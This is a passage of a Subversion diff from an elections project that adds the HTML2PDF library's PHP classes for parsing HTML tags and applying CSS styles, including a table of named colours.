+pdf05	Adobe Reader 9 gerektirir
+vue01	DOSYA ÜSTÜ
+vue02	DOSYA ALTI
+vue03	SAYFA
+vue04	Görünüm
Index: /trunk/elezioni/trunk/client/inc/hpdf/parsingHTML.class.php
===================================================================
--- /trunk/elezioni/trunk/client/inc/hpdf/parsingHTML.class.php	(revision 44)
+++ /trunk/elezioni/trunk/client/inc/hpdf/parsingHTML.class.php	(revision 44)
@@ -0,0 +1,421 @@
+<?php
+/**
+ * Logiciel : HTML2PDF - classe ParsingHTML
+ * 
+ * Convertisseur HTML => PDF, utilise fpdf de Olivier PLATHEY 
+ * Distribué sous la licence GPL. 
+ *
+ * @author		Laurent MINGUET <webmaster@spipu.net>
+ * @version		3.21 - 05/05/2009
+ */
+ 
+if (!defined('__CLASS_PARSINGHTML__'))
+{
+	define('__CLASS_PARSINGHTML__', true);
+	
+	class parsingHTML
+	{
+		var $html	= '';			// code HTML à parser
+		var $code	= array();		// code HTML parsé
+		var $num	= 0;			// numéro de table
+		var $level	= 0;			// niveaux de table
+		
+		/**
+		 * Constructeur
+		 *
+		 * @return	null
+		 */
+		function parsingHTML()
+		{
+			$this->num		= 0;
+			$this->level	= array($this->num);
+			$this->html		= '';
+			$this->code		= array();	
+		}
+		
+		/**
+		 * Définir le code HTML à parser
+		 *
+		 * @param	string code html
+		 * @return	null
+		 */
+		function setHTML($html)
+		{
+			$html = preg_replace('/<!--(.*)-->/isU', '', $html);
+			$this->html = $html;	
+		}
+		
+		/**
+		 * parser le code HTML
+		 *
+		 * @return	null
+		 */
+		function parse()
+		{
+			$parents = array();
+			// récupérer le code à parser
+			$content = $this->html;
+						
+			// chercher les balises HTML du code
+			$tmp = array();
+			$this->searchCode($content, $tmp);
+			
+			// identifier les balises une à une
+			$pre_in = false;
+			$pre_br = array(
+						'name' => 'br',
+						'close' => false,
+						'param' => array(
+							'style' => array(),
+							'num'	=> 0
+						)
+					);
+
+			$todos = array();
+			foreach($tmp as $part)
+			{
+				// si c'est un texte
+				if ($part[0]=='txt')
+				{
+					// enregistrer l'action correspondante
+					if (!$pre_in)
+					{
+						if (trim($part[1])!=='')
+						{
+							// remplacer tous les espaces, tabulations, saufs de ligne multiples par de simples espaces
+							$part[1] = preg_replace('/([\s]+)/is', ' ', $part[1]);
+					
+							$todos[] = array(
+											'name'	=> 'write',
+											'close'	=> false,
+											'param' => array('txt' => $part[1]),
+										);
+						}
+					}
+					else
+					{
+						$part[1] = str_replace("\r", '', $part[1]);
+						$part[1] = explode("\n", $part[1]);
+						
+						foreach($part[1] as $k => $txt)
+						{
+							$txt = str_replace("\t", '        ', $txt);
+							$txt = str_replace(' ', '&nbsp;', $txt);
+							if ($k>0) $todos[] = $pre_br;
+
+								$todos[] = array(
+											'name'	=> 'write',
+											'close'	=> false,
+											'param' => array('txt' => $txt),
+										);
+						}
+					}
+				}
+				// sinon, analyser le code
+				else
+				{
+					$res = $this->analiseCode($part[1]);
+					if ($res)
+					{
+						if (!in_array($res['name'], array('br', 'hr', 'img', 'input', 'link', 'option')))
+						{
+							if ($res['close'])
+							{
+								if (count($parents)<1)
+									HTML2PDF::makeError(3, __FILE__, __LINE__, $res['name']);
+								else if ($parents[count($parents)-1]!=$res['name'])
+									HTML2PDF::makeError(4, __FILE__, __LINE__, $parents);
+								else
+									unset($parents[count($parents)-1]);
+							}
+							else
+							{
+								$parents[count($parents)] = $res['name'];						
+							}
+						}
+						if ($res['name']=='pre' || $res['name']=='code')
+						{
+							$pre_in = !$res['close'];
+						}
+						$todos[] = $res;
+					}
+				}	
+			}
+
+			// pour chaque action identifiée, il faut nettoyer le début et la fin des textes
+			// en fonction des balises qui l'antourent.
+			$nb = count($todos);
+			for($k=0; $k<$nb; $k++)
+			{
+				//si c'est un texte
+				if ($todos[$k]['name']=='write')
+				{
+					// et qu'une balise spécifique le précède => on nettoye les espaces du début du texte
+					if ($k>0 && in_array($todos[$k-1]['name'], array('table', 'tr', 'td', 'th', 'br', 'div', 'hr', 'p', 'ul', 'ol', 'li')))
+						$todos[$k]['param']['txt'] = preg_replace('/^([\s]*)([^\s])/isU', '$2', 	$todos[$k]['param']['txt']);
+
+					// et qu'une balise spécifique le suit => on nettoye les espaces de la fin du texte
+					if ($k<count($todos)-1 && in_array($todos[$k+1]['name'], array('table', 'tr', 'td', 'th', 'br', 'div', 'hr', 'p', 'ol', 'ul', 'li')))
+						$todos[$k]['param']['txt'] = preg_replace('/([^\s])([\s]*)$/isU', '$1', 	$todos[$k]['param']['txt']);
+				}
+			}
+			if (count($parents)) HTML2PDF::makeError(5, __FILE__, __LINE__, $parents);
+			
+			// liste des actions sauvée
+			$this->code = $todos;
+		}
+		
+		/**
+		 * parser le code HTML
+		 *
+		 * @param	string	contenu à parser.
+		 * @param	&array	tableau de retour des données
+		 * @return	null
+		 */
+		function searchCode($content, &$tmp)
+		{
+			// séparer les balises du texte
+			$tmp = array();
+			$reg = '/(<[^>]+>)|([^<]+)+/isU';
+
+			// pour chaque élément trouvé :
+			$str = '';
+			$offset = 0;
+			while(preg_match($reg, $content, $parse, PREG_OFFSET_CAPTURE, $offset))
+			{
+				// si une balise a été détectée
+				if ($parse[1][0])
+				{
+					// sauvegarde du texte précédent si il existe
+					if ($str!=='')	$tmp[] = array('txt',$str);
+		
+					// sauvegarde de la balise
+					$tmp[] = array('code',trim($parse[1][0]));
+					
+					// initialisation du texte suivant
+					$str = ''; 	
+				}
+				else
+				{
+					// ajout du texte à la fin de celui qui est déjà détecté
+					$str.= $parse[2][0];
+				}
+				// Update offset to the end of the match
+				$offset = $parse[0][1] + strlen($parse[0][0]);
+				unset($parse);					
+			}
+			// si un texte est présent à la fin, on l'enregistre
+			if ($str!='') $tmp[] = array('txt',$str);
+			unset($str);
+		}
+		
+		/**
+		 * analyse une balise HTML
+		 *
+		 * @param	string	code HTML à identifier
+		 * @return	array	action correspondante
+		 */
+		function analiseCode($code)
+		{
+			// nom de la balise et ouverture ou fermeture
+			$balise = '<([\/]{0,1})([_a-z0-9]+)([\/>\s]+)';
+			preg_match('/'.$balise.'/isU', $code, $match);
+			$close	= ($match[1]=='/' ? true : false);
+			$name	= strtolower($match[2]);
+			
+			// paramètres obligatoires en fonction du nom de la balise
+			$param	= array();
+			$param['style'] = '';
+			if ($name=='img')	{ $param['alt'] = '';	$param['src'] = ''; }
+			if ($name=='a')		{ $param['href'] = '';	}
+			
+			// lecture des paramétres du type nom=valeur
+			$prop = '([a-zA-Z0-9_]+)=([^"\'\s>]+)';
+			preg_match_all('/'.$prop.'/is', $code, $match);
+			for($k=0; $k<count($match[0]); $k++)
+				$param[trim(strtolower($match[1][$k]))] = trim($match[2][$k]);
+
+			// lecture des paramétres du type nom="valeur"
+			$prop = '([a-zA-Z0-9_]+)=["]([^"]*)["]';
+			preg_match_all('/'.$prop.'/is', $code, $match);
+			for($k=0; $k<count($match[0]); $k++)
+				$param[trim(strtolower($match[1][$k]))] = trim($match[2][$k]);
+
+			// lecture des paramétres du type nom='valeur'
+			$prop = "([a-zA-Z0-9_]+)=[']([^']*)[']";
+			preg_match_all('/'.$prop.'/is', $code, $match);
+			for($k=0; $k<count($match[0]); $k++)
+				$param[trim(strtolower($match[1][$k]))] = trim($match[2][$k]);
+		
+			// mise en conformité en style de chaque paramètre
+			$color	= "#000000";
+			$border	= null;
+			foreach($param as $key => $val)
+			{
+				$key = strtolower($key);
+				switch($key)
+				{
+					case 'width':
+						unset($param[$key]);
+						$param['style'] = 'width: '.$val.'px; '.$param['style'];
+						break;	
+
+					case 'align':
+						if ($name!=='table')
+						{
+							unset($param[$key]);
+							$param['style'] = 'text-align: '.$val.'; '.$param['style'];
+						}
+						break;
+						
+					case 'valign':
+						unset($param[$key]);
+						$param['style'] = 'vertical-align: '.$val.'; '.$param['style'];
+						break;
+						
+					case 'height':
+						unset($param[$key]);
+						$param['style'] = 'height: '.$val.'px; '.$param['style'];	
+						break;	
+
+					case 'bgcolor':
+						unset($param[$key]);
+						$param['style'] = 'background: '.$val.'; '.$param['style'];					
+						break;	
+
+					case 'bordercolor':
+						unset($param[$key]);
+						$color = $val;
+						break;	
+
+					case 'border':
+						unset($param[$key]);
+						if (preg_match('/^[0-9]$/isU', $val)) $val = $val.'px';
+						$border = $val;
+						break;
+					
+					case 'cellpadding':
+					case 'cellspacing':
+						if (preg_match('/^([0-9]+)$/isU', $val)) $param[$key] = $val.'px';
+						break;
+						
+					case 'colspan':
+					case 'rowspan':
+						$val = preg_replace('/[^0-9]/isU', '', $val);
+						if (!$val) $val = 1;
+						$param[$key] = $val;
+						break;
+				}
+			}
+			if ($border!==null)
+			{
+				if ($border)	$param['style'] = 'border: solid '.$border.' '.$color.'; '.$param['style'];
+				else			$param['style'] = 'border: none'; 
+			}
+			
+			// lecture des styles - décomposition
+			$styles = explode(';', $param['style']);
+			$param['style'] = array();
+			foreach($styles as $style)
+			{
+				$tmp = explode(':', $style);
+				if (count($tmp)>1)
+				{
+					$cod = $tmp[0]; unset($tmp[0]); $tmp = implode(':', $tmp); 
+					$param['style'][trim(strtolower($cod))] = preg_replace('/[\s]+/isU', ' ', trim($tmp));
+				}
+			}
+			
+			// détermination du niveau de table pour les ouverture, avec ajout d'un level
+			if (in_array($name, array('ul', 'ol', 'table')) && !$close)
+			{
+				$this->num++;
+				$this->level[count($this->level)] = $this->num;
+			} 
+			
+			// attribution du niveau de table où se trouve l'élément
+			if (!isset($param['num'])) $param['num'] = $this->level[count($this->level)-1];
+
+			// pour les fins de table : suppression d'un level
+			if (in_array($name, array('ul', 'ol', 'table')) && $close)
+			{
+				unset($this->level[count($this->level)-1]);			
+			} 
+
+			// retour de l'action identifiée
+			return array('name' => $name, 'close' => $close ? 1 : 0, 'param' => $param);
+		}
+		
+		// récupérer un niveau complet d'HTML entre une ouverture de balise et la fermeture correspondante
+		function getLevel($k)
+		{
+			// si le code n'existe pas : fin
+			if (!isset($this->code[$k])) return '';
+			
+			// quelle balise faudra-t-il détecter
+			$detect = $this->code[$k]['name'];
+			
+			$level = 0;		// niveau de profondeur
+			$end = false;	// etat de fin de recherche
+			$code = '';		// code extrait
+			
+			// tant que c'est pas fini, on boucle
+			while (!$end)
+			{
+				// action courante
+				$row = $this->code[$k];
+				
+				// si write => on ajoute le texte
+				if ($row['name']=='write')
+				{
+					$code.= $row['param']['txt'];	
+				}
+				// sinon, c'est une balise html
+				else
+				{
+					$not = false; // indicateur de non prise en compte de la balise courante
+					
+					// si c'est la balise que l'on cherche
+					if ($row['name']==$detect)
+					{
+						if ($level==0) { $not = true; }					// si on est à la premiere balise : on l'ignore
+						$level+= ($row['close'] ? -1 : 1);				// modification du niveau en cours en fonction de l'ouvertre / fermeture
+						if ($level==0) { $not = true; $end = true; }	// si on est au niveau 0 : on a fini
+					}
+					
+					// si on doit prendre en compte la balise courante
+					if (!$not)
+					{
+						// ecriture du code HTML de la balise
+						$code.= '<'.($row['close'] ? '/' : '').$row['name'];
+						foreach($row['param'] as $key => $val)
+						{
+							if ($key=='style')
+							{
+								$tmp = '';
+								if (isset($val['text-align'])) unset($val['text-align']);
+								foreach($val as $ks => $vs) $tmp.= $ks.':'.$vs.'; ';
+								if (trim($tmp)) $code.= ' '.$key.'="'.$tmp.'"';
+							}
+							else
+							{
+								$code.= ' '.$key.'="'.$val.'"';
+							}	
+						}
+						$code.= '>';
+					}
+				}
+				
+				// on continue tant qu'il y a du code à analyser...
+				if (isset($this->code[$k+1]))
+					$k++;
+				else
+					$end = true;	
+			}
+			
+			// retourne la position finale et le code HTML extrait
+			return array($k, $code);
+		}
+	}
+}
+?>
Index: /trunk/elezioni/trunk/client/inc/hpdf/styleHTML.class.php
===================================================================
--- /trunk/elezioni/trunk/client/inc/hpdf/styleHTML.class.php	(revision 44)
+++ /trunk/elezioni/trunk/client/inc/hpdf/styleHTML.class.php	(revision 44)
@@ -0,0 +1,1437 @@
+<?php
+/**
+ * Logiciel : HTML2PDF - classe styleHTML
+ * 
+ * Convertisseur HTML => PDF, utilise fpdf de Olivier PLATHEY 
+ * Distribué sous la licence GPL. 
+ *
+ * @author		Laurent MINGUET <webmaster@spipu.net>
+ * @version		3.21 - 05/05/2009
+ */
+ 
+if (!defined('__CLASS_STYLEHTML__'))
+{
+	define('__CLASS_STYLEHTML__', true);
+	
+	class styleHTML
+	{
+		var $css		= array();		// tableau des CSS
+		var $css_keys	= array();		// tableau des clefs CSS, pour l'ordre d'execution
+		var $value		= array();		// valeurs actuelles
+		var $table		= array();		// tableau d'empilement pour historisation des niveaux
+		var $pdf		= null;			// référence au PDF parent
+		var $htmlColor	= array();		// liste des couleurs HTML
+
+		/**
+		 * Constructeur
+		 *
+		 * @param	&pdf		référence à l'objet HTML2PDF parent
+		 * @return	null
+		 */
+		function styleHTML(&$pdf)
+		{
+			$this->init();		// initialisation
+			$this->pdf = &$pdf;
+		}
+		
+ 		/**
+		 * Initialisation du style
+		 *
+		 * @return	null
+		 */
+		function init()
+		{
+			$color = array();
+			$color['AliceBlue']			= '#F0F8FF';
+			$color['AntiqueWhite']		= '#FAEBD7';
+			$color['Aqua']				= '#00FFFF';
+			$color['Aquamarine']		= '#7FFFD4';
+			$color['Azure']				= '#F0FFFF';
+			$color['Beige']				= '#F5F5DC';
+			$color['Bisque']			= '#FFE4C4';
+			$color['Black']				= '#000000';
+			$color['BlanchedAlmond']	= '#FFEBCD';
+			$color['Blue']				= '#0000FF';
+			$color['BlueViolet']		= '#8A2BE2';
+			$color['Brown']				= '#A52A2A';
+			$color['BurlyWood']			= '#DEB887';
+			$color['CadetBlue']			= '#5F9EA0';
+			$color['Chartreuse']		= '#7FFF00';
+			$color['Chocolate']			= '#D2691E';
+			$color['Coral']				= '#FF7F50';
+			$color['CornflowerBlue']	= '#6495ED';
+			$color['Cornsilk']			= '#FFF8DC';
+			$color['Crimson']			= '#DC143C';
+			$color['Cyan']				= '#00FFFF';
+			$color['DarkBlue']			= '#00008B';
+			$color['DarkCyan']			= '#008B8B';
+			$color['DarkGoldenRod']		= '#B8860B';
+			$color['DarkGray']			= '#A9A9A9';
+			$color['DarkGrey']			= '#A9A9A9';
+			$color['DarkGreen']			= '#006400';
+			$color['DarkKhaki']			= '#BDB76B';
+			$color['DarkMagenta']		= '#8B008B';
+			$color['DarkOliveGreen']	= '#556B2F';
+			$color['Darkorange']		= '#FF8C00';
+			$color['DarkOrchid']		= '#9932CC';
+			$color['DarkRed']			= '#8B0000';
+			$color['DarkSalmon']		= '#E9967A';
+			$color['DarkSeaGreen']		= '#8FBC8F';
+			$color['DarkSlateBlue']		= '#483D8B';
+			$color['DarkSlateGray']		= '#2F4F4F';
+			$color['DarkSlateGrey']		= '#2F4F4F';
+			$color['DarkTurquoise']		= '#00CED1';
+			$color['DarkViolet']		= '#9400D3';
+			$color['DeepPink']			= '#FF1493';
+			$color['DeepSkyBlue']		= '#00BFFF';
+			$color['DimGray']			= '#696969';
+			$color['DimGrey']			= '#696969';
+			$color['DodgerBlue']		= '#1E90FF';
+			$color['FireBrick']			= '#B22222';
+			$color['FloralWhite']		= '#FFFAF0';
+			$color['ForestGreen']		= '#228B22';
+			$color['Fuchsia']			= '#FF00FF';
+			$color['Gainsboro']			= '#DCDCDC';
+			$color['GhostWhite']		= '#F8F8FF';
+			$color['Gold']				= '#FFD700';
+			$color['GoldenRod']			= '#DAA520';
+			$color['Gray']				= '#808080';
+			$color['Grey']				= '#808080';
+			$color['Green']				= '#008000';
+			$color['GreenYellow']		= '#ADFF2F';
+			$color['HoneyDew']			= '#F0FFF0';
+			$color['HotPink']			= '#FF69B4';
+			$color['IndianRed']			= '#CD5C5C';
+			$color['Indigo']			= '#4B0082';
+			$color['Ivory']				= '#FFFFF0';
+			$color['Khaki']				= '#F0E68C';
+			$color['Lavender']			= '#E6E6FA';
+			$color['LavenderBlush']		= '#FFF0F5';
+			$color['LawnGreen']			= '#7CFC00';
+			$color['LemonChiffon']		= '#FFFACD';
+			$color['LightBlue']			= '#ADD8E6';
+			$color['LightCoral']		= '#F08080';
+			$color['LightCyan']			= '#E0FFFF';
+			$color['LightGoldenRodYellow']	= '#FAFAD2';
+			$color['LightGray']			= '#D3D3D3';
+			$color['LightGrey']			= '#D3D3D3';
+			$color['LightGreen']		= '#90EE90';
+			$color['LightPink']			= '#FFB6C1';
+			$color['LightSalmon']		= '#FFA07A';
+			$color['LightSeaGreen']		= '#20B2AA';
+			$color['LightSkyBlue']		= '#87CEFA';
+			$color['LightSlateGray']	= '#778899';
+			$color['LightSlateGrey']	= '#778899';
+			$color['LightSteelBlue']	= '#B0C4DE';
+			$color['LightYellow']		= '#FFFFE0';
+			$color['Lime']				= '#00FF00';
+			$color['LimeGreen']			= '#32CD32';
+			$color['Linen']				= '#FAF0E6';
+			$color['Magenta']			= '#FF00FF';
+			$color['Maroon']			= '#800000';
+			$color['MediumAquaMarine']	= '#66CDAA';
+			$color['MediumBlue']		= '#0000CD';
+			$color['MediumOrchid']		= '#BA55D3';
+			$color['MediumPurple']		= '#9370D8';
+			$color['MediumSeaGreen']	= '#3CB371';
+			$color['MediumSlateBlue']	= '#7B68EE';
+			$color['MediumSpringGreen']	= '#00FA9A';
+			$color['MediumTurquoise']	= '#48D1CC';
+			$color['MediumVioletRed']	= '#C71585';
+			$color['MidnightBlue']		= '#191970';
+			$color['MintCream']			= '#F5FFFA';
+			$color['MistyRose']			= '#FFE4E1';
+			$color['Moccasin']			= '#FFE4B5';
+			$color['NavajoWhite']		= '#FFDEAD';
+			$color['Navy']				= '#000080';
+			$color['OldLace']			= '#FDF5E6';
+			$color['Olive']				= '#808000';
+			$color['OliveDrab']			= '#6B8E23';
+			$color['Orange']			= '#FFA500';
+			$color['OrangeRed']			= '#FF4500';
+			$color['Orchid']			= '#DA70D6';
+			$color['PaleGoldenRod']		= '#EEE8AA';
+			$color['PaleGreen']			= '#98FB98';
+			$color['PaleTurquoise']		= '#AFEEEE';
+			$color['PaleVioletRed']		= '#D87093';
+			$color['PapayaWhip']		= '#FFEFD5';
+			$color['PeachPuff']			= '#FFDAB9';
+			$color['Peru']				= '#CD853F';
+			$color['Pink']				= '#FFC0CB';
+			$color['Plum']				= '#DDA0DD';
+			$color['PowderBlue']		= '#B0E0E6';
+			$color['Purple']			= '#800080';
+			$color['Red']				= '#FF0000';
+			$color['RosyBrown']			= '#BC8F8F';
+			$color['RoyalBlue']			= '#4169E1';
+			$color['SaddleBrown']		= '#8B4513';
+			$color['Salmon']			= '#FA8072';
+			$color['SandyBrown']		= '#F4A460';
+			$color['SeaGreen']			= '#2E8B57';
+			$color['SeaShell']			= '#FFF5EE';
+			$color['Sienna']			= '#A0522D';
+			$color['Silver']			= '#C0C0C0';
+			$color['SkyBlue']			= '#87CEEB';
+			$color['SlateBlue']			= '#6A5ACD';
+			$color['SlateGray']			= '#708090';
+			$color['SlateGrey']			= '#708090';
+			$color['Snow']				= '#FFFAFA';
+			$color['SpringGreen']		= '#00FF7F';
+			$color['SteelBlue']			= '#4682B4';
+			$color['Tan']				= '#D2B48C';
+			$color['Teal']				= '#008080';
+			$color['Thistle']			= '#D8BFD8';
+			$color['Tomato']			= '#FF6347';
+			$color['Turquoise']			= '#40E0D0';
+			$color['Violet']			= '#EE82EE';
+			$color['Wheat']				= '#F5DEB3';
+			$color['White']				= '#FFFFFF';
+			$color['WhiteSmoke']		= '#F5F5F5';
+			$color['Yellow']			= '#FFFF00';
+			$color['YellowGreen']		= '#9ACD32';
+			
+			$this->htmlColor = array();
+			foreach($color as $key => $val) $this->htmlColor[strtolower($key)] = $val;			
+			unset($color);
+			
+			$this->table = array();
+			
+			$this->value = array();
+			$this->initStyle();
+			
+			// initialisation des styles sans héritages
+			$this->resetStyle();
+		}
+		
+		function initStyle()
+		{
+	 		$this->value['id_balise']			= 'body';		// balise
+			$this->value['id_name']				= null;			// name
+			$this->value['id_id']				= null;			// id
+			$this->value['id_class']			= null;			// class
+			$this->value['id_lst']				= array('*');	// lst de dependance
+			$this->value['mini-size']			= 1.;			// rapport de taille	spécifique aux sup, sub
+			$this->value['mini-decal']			= 0;			// rapport de position	spécifique aux sup, sub
+			$this->value['font-family']			= 'Arial';
+			$this->value['font-bold']			= false;
+			$this->value['font-italic']			= false;
+			$this->value['font-underline']		= false;
+			$this->value['font-overline']		= false;
+			$this->value['font-linethrough']	= false;
+			$this->value['font-size']			= $this->ConvertToMM('10pt');
+			$this->value['text-indent']			= 0;
+			$this->value['text-align']			= 'left';
+			$this->value['vertical-align']		= 'middle';
+			$this->value['line-height']			= 'normal';
+
+			$this->value['position']			= null;
+			$this->value['x']					= null;
+			$this->value['y']					= null;
+			$this->value['width']				= 0;
+			$this->value['height']				= 0;
+			$this->value['top']					= null;
+			$this->value['right']				= null;
+			$this->value['bottom']				= null;
+			$this->value['left']				= null;
+			$this->value['float']				= null;
+			$this->value['display']				= null;
+
+			$this->value['color']				= array(0, 0, 0);
+			$this->value['background']			= array('color' => null, 'image' => null, 'position' => null, 'repeat' => null);
+			$this->value['border']				= array();
+			$this->value['padding']				= array();
+			$this->value['margin']				= array();
+			$this->value['margin-auto']			= false;
+
+			$this->value['list-style-type']		= '';
+			$this->value['list-style-image']	= '';
+
+			$this->value['xc']					= null;
+			$this->value['yc']					= null;
+		}
+		
+		/**
+		 * Initialisation des styles sans héritages
+		 *
+		 * @param	string	balise HTML
+		 * @return	null
+		 */
+		function resetStyle($balise = '')
+		{
+			$collapse = isset($this->value['border']['collapse']) ? $this->value['border']['collapse'] : false;
+			if (!in_array($balise, array('tr', 'td', 'th'))) $collapse = false;
+			
+			$this->value['position']			= null;
+			$this->value['x']					= null;
+			$this->value['y']					= null;
+			$this->value['width']				= 0;
+			$this->value['height']				= 0;
+			$this->value['top']					= null;
+			$this->value['right']				= null;
+			$this->value['bottom']				= null;
+			$this->value['left']				= null;
+			$this->value['float']				= null;
+			$this->value['display']				= null;
+			$this->value['background']			= array('color' => null, 'image' => null, 'position' => null, 'repeat' => null);
+			$this->value['border']	= array(
+										't' => $this->readBorder('none'),
+										'r' => $this->readBorder('none'),
+										'b' => $this->readBorder('none'),
+										'l' => $this->readBorder('none'),
+										'radius' => array(0, 0),
+										'collapse' => $collapse,
+									);
+									
+			$this->value['margin']	= array(
+									't' => 0,
+									'r' => 0,
+									'b' => 0,
+									'l' => 0
+								);
+			$this->value['margin-auto'] = false;
+			
+			if (in_array($balise, array('div')))
+				$this->value['vertical-align']	 = 'top';
+
+			if (in_array($balise, array('ul', 'li')))
+			{
+				$this->value['list-style-type']		= '';
+				$this->value['list-style-image']	= '';
+			}
+
+			if (!in_array($balise, array('tr', 'td')))
+			{
+				$this->value['padding']	= array(
+										't' => 0,
+										'r' => 0,
+										'b' => 0,
+										'l' => 0
+									);
+			}
+			else
+			{
+				$this->value['padding']	= array(
+										't' => $this->ConvertToMM('1px'),
+										'r' => $this->ConvertToMM('1px'),
+										'b' => $this->ConvertToMM('1px'),
+										'l' => $this->ConvertToMM('1px')
+									);
+			}
+			
+			if ($balise=='hr')
+			{
+				$this->value['border']	= array(
+										't' => $this->readBorder('solid 1px #000000'),
+										'r' => $this->readBorder('solid 1px #000000'),
+										'b' => $this->readBorder('solid 1px #000000'),
+										'l' => $this->readBorder('solid 1px #000000'),
+										'radius' => array(0, 0),
+										'collapse' => false,
+									);
+				$this->ConvertBackground('#FFFFFF', $this->value['background']);
+			}
+
+			$this->value['xc']					= null;
+			$this->value['yc']					= null;
+		}
+		
+		/**
+		 * Initialisation de la font PDF
+		 *
+		 * @return	null
+		 */
+		function FontSet()
+		{
+			$b = ($this->value['font-bold']			? 'B' : '');
+			$i = ($this->value['font-italic']		? 'I' : '');
+			$u = ($this->value['font-underline']	? 'U' : '');
+			
+			// taille en mm, à ramener en pt
+			$size = $this->value['font-size'];
+			$size = 72 * $size / 25.4;
+			
+			$this->pdf->setOverline($this->value['font-overline']);
+			$this->pdf->setLinethrough($this->value['font-linethrough']);
+			
+			// application de la fonte 
+			$this->pdf->SetFont($this->value['font-family'], $b.$i.$u, $this->value['mini-size']*$size);
+			$this->pdf->SetTextColor($this->value['color'][0],$this->value['color'][1], $this->value['color'][2]);
+			if ($this->value['background']['color'])
+				$this->pdf->SetFillColor($this->value['background']['color'][0],$this->value['background']['color'][1], $this->value['background']['color'][2]);
+			else
+				$this->pdf->SetFillColor(255);				
+		}
+
+ 		/**
+		 * Monter d'un niveau dans l'historisation
+		 *
+		 * @return	null
+		 */		
+		function save()
+		{
+			$this->table[count($this->table)] = $this->value;
+		}
+		
+ 		/**
+		 * Descendre d'un niveau dans l'historisation
+		 *
+		 * @return	null
+		 */		
+		function load()
+		{
+			if (count($this->table))
+			{
+				$this->value = $this->table[count($this->table)-1];
+				unset($this->table[count($this->table)-1]);
+			}
+		}
+
+		function setPosition(&$current_x, &$current_y)
+		{
+			$this->value['xc'] = $current_x;
+			$this->value['yc'] = $current_y;
+			
+			if ($this->value['position']=='relative' || $this->value['position']=='absolute')
+			{
+				if ($this->value['right']!==null)
+				{
+					$x = $this->getLastWidth(true) - $this->value['right'] - $this->value['width'];
+					if ($this->value['margin']['r']) $x-= $this->value['margin']['r'];
+				} 
+				else
+				{
+					$x = $this->value['left'];
+					if ($this->value['margin']['l']) $x+= $this->value['margin']['l'];
+				}
+				
+				if ($this->value['bottom']!==null)
+				{
+					$y = $this->getLastHeight(true) - $this->value['bottom'] - $this->value['height'];
+					if ($this->value['margin']['b']) $y-= $this->value['margin']['b'];
+				} 	
+				else
+				{
+					$y = $this->value['top'];
+					if ($this->value['margin']['t']) $y+= $this->value['margin']['t'];
+				}
+								
+				if ($this->value['position']=='relative')
+				{
+					$this->value['x'] = $current_x + $x;
+					$this->value['y'] = $current_y + $y;
+				}
+				else
+				{
+					$this->value['x'] = $this->getLastAbsoluteX()+$x;
+					$this->value['y'] = $this->getLastAbsoluteY()+$y;					
+				}
+			}
+			else
+			{
+				$this->value['x'] = $current_x;
+				$this->value['y'] = $current_y;	
+				if ($this->value['margin']['l'])	$this->value['x']+= $this->value['margin']['l'];
+				if ($this->value['margin']['t'])	$this->value['y']+= $this->value['margin']['t'];
+			}
+			
+			$current_x = $this->value['x'];
+			$current_y = $this->value['y'];
+		}
+
+ 		/**
+		 * Analyse un tableau de style provenant du parseurHTML
+		 *
+		 * @param	string	nom de la balise
+		 * @param	array	tableau de style
+		 * @return	null
+		 */			
+		function analyse($balise, &$param)
+		{
+			// preparation
+			$balise = strtolower($balise);
+			$id		= isset($param['id'])		? strtolower(trim($param['id']))	: null; if (!$id)	$id		= null;
+			$name	= isset($param['name'])		? strtolower(trim($param['name']))	: null; if (!$name)	$name	= null;
+
+			// lecture de la propriete classe
+			$class = array();
+			$tmp	= isset($param['class'])	? preg_replace('/[\s]+/', ' ', strtolower($param['class']))	: '';
+			$tmp = explode(' ', $tmp);
+			foreach($tmp as $k => $v)
+			{
+				$v = trim($v);
+				if ($v) $class[] = $v;
+			}
+
+			// identification de la balise et des styles direct qui pourraient lui être appliqués
+			$this->value['id_balise']	= $balise;
+			$this->value['id_name']		= $name;
+			$this->value['id_id']		= $id;
+			$this->value['id_class']	= $class;
+			$this->value['id_lst']		= array();
+			$this->value['id_lst'][] = '*';
+			$this->value['id_lst'][] = $balise;
+			if (count($class))
+			{
+				foreach($class as $v)
+				{ 
+					$this->value['id_lst'][] = '*.'.$v;
+					$this->value['id_lst'][] = '.'.$v;
+					$this->value['id_lst'][] = $balise.'.'.$v;
+				}
+			}
+			if ($id)
+			{
+				$this->value['id_lst'][] = '*#'.$id;
+				$this->value['id_lst'][] = '#'.$id;
+				$this->value['id_lst'][] = $id.'#'.$id;
+			}
+
+			// style CSS
+			$styles = $this->getFromCSS();
+
+			// on ajoute le style propre à la balise
+			$styles = array_merge($styles, $param['style']);
+			if (isset($param['allwidth']) && !isset($styles['width'])) $styles['width'] = '100%';
+
+			// mise à zero des styles non hérités
+			$this->resetStyle($balise);
+					
+			// interpreration des nouvelles valeurs
+			$correct_width = false;
+			foreach($styles as $nom => $val)
+			{
+				switch($nom)
+				{
+					case 'font-family':
+						$val = explode(',', $val);
+						$val = trim($val[0]);
+
+						if ($val) $this->value['font-family'] = $val;
+						break;
+						
+					case 'font-weight':
+						$this->value['font-bold'] = ($val=='bold');
+						break;
+					
+					case 'font-style':
+						$this->value['font-italic'] = ($val=='italic');
+						break;
+					
+					case 'text-decoration':
+						$val = explode(' ', $val);
+						$this->value['font-underline']		= (in_array('underline',	$val));
+						$this->value['font-overline']		= (in_array('overline',		$val));
+						$this->value['font-linethrough']	= (in_array('line-through',	$val));
+						break;
+					
+					case 'text-indent':
+						$this->value['text-indent']			= $this->ConvertToMM($val);
+						break;
+					
+					case 'font-size':
+						$val = $this->ConvertToMM($val, $this->value['font-size']);
+						if ($val) $this->value['font-size'] = $val;
+						break;
+					
+					case 'color':
+						$res = null;
+						$this->value['color'] = $this->ConvertToRVB($val, $res);
+						
+						if ($balise=='hr')
+						{
+							$this->value['border']['l']['color'] = $this->value['color'];
+							$this->value['border']['t']['color'] = $this->value['color'];
+							$this->value['border']['r']['color'] = $this->value['color'];
+							$this->value['border']['b']['color'] = $this->value['color'];
+						}
+						break;
+					
+					case 'text-align':
+						$this->value['text-align'] = $val;
+						break;
+						
+					case 'vertical-align':
+						$this->value['vertical-align'] = $val;
+						break;
+					
+					case 'width':
+						$this->value['width'] = $this->ConvertToMM($val, $this->getLastWidth());
+						if ($this->value['width'] && substr($val, -1)=='%') $correct_width=true;
+						break;
+					
+					case 'height':
+						$this->value['height'] = $this->ConvertToMM($val, $this->getLastHeight());
+						break;
+				
+					case 'line-height':
+						if (preg_match('/^[0-9\.]+$/isU', $val)) $val = floor($val*100).'%';
+						$this->value['line-height'] = $val;
